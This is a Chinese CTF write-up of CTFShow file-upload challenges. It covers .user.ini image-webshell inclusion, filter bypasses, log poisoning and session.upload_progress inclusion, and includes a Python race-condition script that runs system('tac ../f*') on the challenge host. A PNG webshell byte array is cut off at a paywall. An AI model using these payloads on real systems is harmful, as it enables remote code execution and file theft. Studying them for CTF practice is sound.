CTFShow文件上传
web151
前端直接抓包改就行

web152
同上
web153(.user.ini)
利用上传.user.ini进行文件上传绕过
php.ini是php的一个全局配置文件,对整个web服务起作用;
而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,
通常用这个文件来构造后门和隐藏后门。
**利用.user.ini,要求目标目录下必须包含php文件**
.user.ini的内容为auto_append_file=1.png,意思就是使1.png包含在目标目录的php文件中,然后再上传一句话木马(1.png)
回到题目
先上传图片马,在上传.user.ini去包含这张图片


然后去访问/upload/index.php,图片马就会被写到php文件中

web154
这里被过滤了php字符串,可以用短标签
同上

web155
同上
web156
过滤了[] , php里可以用 {} 来代替
同上

web157
过滤了分号,但我们知道php的最后语句是可以不需要分号的
同上

web158
同上
web159
这次是过滤了括号,可以用反引号代替system()
同上

web160
这次过滤的有点多,php、[、{、 ;、 (、 反引号 、空格都没了
可以试试日志包含,但这里log被过滤了,要注意一下
同上
成功日志包含就可以在UA头里带上一句话了

web161
同上
web162
这里其实是过滤了点,不能日志包含还可以session包含
利用session.upload_progress进行文件包含和反序列化渗透


然后还需要进行条件竞争,
import requests
import threading
session = requests.session()
sess = 'paidx0'
url1 = "http://2c7c01f5-6207-457e-b332-c72b453b765f.challenge.ctf.show:8080/"
url2 = "http://2c7c01f5-6207-457e-b332-c72b453b765f.challenge.ctf.show:8080/upload/"
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
'file': 'paidx0'
}
cookies = {
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1, data=data1, files=file, cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)
else:
print('--------')
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
web163
同上
web164(png二次渲染)
会发现只能上传png,而且文件名也被修改
后端二次渲染会把上传到服务器的图片的代码改变
利用 imagecreatefrompng()。png和jpg要利用脚本生成图片马,gif文件只需要将图片下载回来对照,shell写入未改动的区域
参考链接
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60

最低0.47元/天 解锁文章
915

被折叠的 条评论
为什么被折叠?



